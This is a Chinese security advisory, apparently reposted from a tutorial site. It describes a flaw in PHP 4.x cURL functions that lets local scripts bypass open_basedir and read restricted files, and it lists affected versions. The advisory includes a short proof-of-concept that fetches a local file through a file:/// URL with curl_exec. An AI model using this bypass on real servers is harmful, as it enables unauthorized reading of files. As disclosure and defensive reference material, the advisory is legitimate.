php 获取 basedir,PHP cURL函数允许脚本绕过open_basedir目录限制漏洞 | 学步园

受影响系统：

PHP PHP 4.3.9

PHP PHP 4.3.8

PHP PHP 4.3.7

PHP PHP 4.3.6

PHP PHP 4.3.3

PHP PHP 4.3.2

PHP PHP 4.3.1

PHP PHP 4.3.0

PHP PHP 4.2.3

PHP PHP 4.2.2

PHP PHP 4.2.1

PHP PHP 4.2.0

PHP PHP 4.1.2

PHP PHP 4.1.1

PHP PHP 4.1.0

PHP PHP 4.1

PHP PHP 4.0.7

PHP PHP 4.0.6

PHP PHP 4.0.5

PHP PHP 4.0.4

PHP PHP 4.0.3pl1

PHP PHP 4.0.3

PHP PHP 4.0.2

PHP PHP 4.0.1pl2

PHP PHP 4.0.1pl1

PHP PHP 4.0.1

PHP PHP 4.0

描述：

--------------------------------------------------------------------------------

PHP是一种流行的WEB服务器端

PHP的cURL函数存在一个问题，本地攻击者可以利用这个漏洞使脚本绕过open_basedir目录设置。

FraMe报告本地用户可以调用cURL(liburl)函数绕过php.ini文件中的open_basedir限制和其他目录来访问文件。

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=109898213806099&w=2

*>

测试方法：

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

测试方法：

$ch = curl_init("file:///etc/parla");

$file=curl_exec($ch) ;

echo $file

?>

建议：

--------------------------------------------------------------------------------

厂商补丁：

PHP

---

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.php.net